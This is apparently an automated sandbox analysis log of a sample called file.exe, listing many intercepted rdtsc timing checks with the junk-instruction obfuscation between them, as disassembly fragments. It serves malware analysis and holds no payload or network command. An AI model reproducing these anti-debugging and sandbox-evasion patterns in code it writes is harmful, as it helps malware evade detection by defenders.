Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6651E9 second address: 665220 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF34D3F6B0Fh 0x00000008 jmp 00007FF34D3F6B09h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FF34D3F6AFAh 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665220 second address: 66523B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jo 00007FF34C7875D4h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6652FF second address: 665340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jg 00007FF34D3F6AFCh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jnl 00007FF34D3F6B0Ah 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF34D3F6AFCh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665340 second address: 665346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665346 second address: 665369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007FF34D3F6AFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF34D3F6AF6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658DAA second address: 658DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658DAE second address: 658DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658DB2 second address: 658DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658E60 second address: 658E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A6F8 second address: 66A75C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF34C7875C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007FF34C7875D4h 0x00000012 jp 00007FF34C7875C6h 0x00000018 pop ecx 0x00000019 pop eax 0x0000001a jc 00007FF34C787609h 0x00000020 push eax 0x00000021 jmp 00007FF34C7875D8h 0x00000026 pushad 0x00000027 popad 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF34C7875D5h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A75C second address: 66A760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A760 second address: 66A764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A8C5 second address: 66A8F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FF34D3F6AF6h 0x00000011 jmp 00007FF34D3F6AFEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA38 second address: 66AA43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF34C7875C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ABC4 second address: 66ABC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ABC8 second address: 66ABD2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ABD2 second address: 66ABE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C664 second address: 66C67A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FF34C7875C6h 0x00000010 jns 00007FF34C7875C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB174 second address: 5FB179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB179 second address: 5FB18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB18E second address: 5FB192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671A53 second address: 671A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671A5D second address: 671A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671A62 second address: 671A67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671D4E second address: 671D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671D55 second address: 671D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6717A1 second address: 6717A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6727C1 second address: 6727CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF34C7875C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6727CC second address: 6727E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6B04h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672ACE second address: 672AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF34C7875C6h 0x0000000a jnl 00007FF34C7875C6h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672AE7 second address: 672AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672AEE second address: 672B09 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF34C7875D3h 0x00000008 jmp 00007FF34C7875CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676F0D second address: 676F13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676F13 second address: 676F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676F1D second address: 676F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CA62 second address: 67CA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CA6A second address: 67CA84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B06h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CA84 second address: 67CA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF34C7875CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B654 second address: 67B665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6AFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B665 second address: 67B66A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B66A second address: 67B672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B7AF second address: 67B7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B7B5 second address: 67B7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 je 00007FF34D3F6AFEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B7CA second address: 67B7E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34C7875CDh 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B7E0 second address: 67B801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FF34D3F6AF6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 jmp 00007FF34D3F6AFBh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B801 second address: 67B805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B994 second address: 67B998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BAD7 second address: 67BAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34C7875CDh 0x00000009 pop esi 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF34C7875CFh 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BC4D second address: 67BC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007FF34D3F6AF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BC59 second address: 67BC5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDBA second address: 67BDC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C215 second address: 67C239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jo 00007FF34C7875C6h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF34C7875D3h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C239 second address: 67C260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34D3F6B08h 0x00000009 jmp 00007FF34D3F6AFBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C3B0 second address: 67C3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C52F second address: 67C53E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007FF34D3F6AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C53E second address: 67C54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF34C7875C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C920 second address: 67C927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B1E7 second address: 67B1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815A8 second address: 6815EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6B07h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jmp 00007FF34D3F6AFBh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF34D3F6B05h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804B1 second address: 6804B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804B5 second address: 6804B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804B9 second address: 6804CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FF34C7875C6h 0x00000010 jno 00007FF34C7875C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F68E second address: 63F708 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FF34D3F6B06h 0x0000000f lea eax, dword ptr [ebp+12484409h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FF34D3F6AF8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f nop 0x00000030 jl 00007FF34D3F6B0Fh 0x00000036 jmp 00007FF34D3F6B09h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f jno 00007FF34D3F6AF6h 0x00000045 pop ecx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F708 second address: 63F723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB99 second address: 63FBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FBA8 second address: 63FBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FBAC second address: 63FBB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD62 second address: 63FD67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD67 second address: 63FE0D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF34D3F6B0Fh 0x00000008 jmp 00007FF34D3F6B09h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xor dword ptr [esp], 23778826h 0x00000016 mov dword ptr [ebp+122D2AFDh], ecx 0x0000001c call 00007FF34D3F6AF9h 0x00000021 jnp 00007FF34D3F6B00h 0x00000027 pushad 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a jbe 00007FF34D3F6AF6h 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007FF34D3F6B01h 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b push ecx 0x0000003c jmp 00007FF34D3F6B01h 0x00000041 pop ecx 0x00000042 mov eax, dword ptr [eax] 0x00000044 pushad 0x00000045 pushad 0x00000046 push ebx 0x00000047 pop ebx 0x00000048 jmp 00007FF34D3F6AFBh 0x0000004d popad 0x0000004e jmp 00007FF34D3F6B08h 0x00000053 popad 0x00000054 mov dword ptr [esp+04h], eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FE0D second address: 63FE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FEE3 second address: 63FEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FEE7 second address: 63FF39 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF34C7875D4h 0x0000000f popad 0x00000010 mov dword ptr [esp], esi 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FF34C7875C8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jp 00007FF34C7875C9h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FF39 second address: 63FF3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FF3D second address: 63FF43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640084 second address: 640088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6405D6 second address: 640616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF34C7875C8h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 ja 00007FF34C7875C6h 0x00000018 popad 0x00000019 jng 00007FF34C7875CCh 0x0000001f popad 0x00000020 nop 0x00000021 mov edi, ebx 0x00000023 push 0000001Eh 0x00000025 adc ecx, 04322F00h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jnp 00007FF34C7875CCh 0x00000034 jnc 00007FF34C7875C6h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640A62 second address: 640A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6B03h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640A7A second address: 6271CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FF34C7875C8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov edx, edi 0x00000024 call dword ptr [ebp+12451CF9h] 0x0000002a push edi 0x0000002b pushad 0x0000002c jmp 00007FF34C7875D6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680794 second address: 680798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680798 second address: 6807B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FF34C7875CAh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jc 00007FF34C7875CCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6807B5 second address: 6807B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6808FB second address: 680901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680901 second address: 680911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FF34D3F6AF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680911 second address: 680915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680915 second address: 680919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680919 second address: 68093D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34C7875D8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68093D second address: 680941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681165 second address: 68116B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684492 second address: 684496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684496 second address: 6844AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FF34C7875CEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6844AE second address: 6844B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605220 second address: 605258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF34C7875D7h 0x0000000a jmp 00007FF34C7875D8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
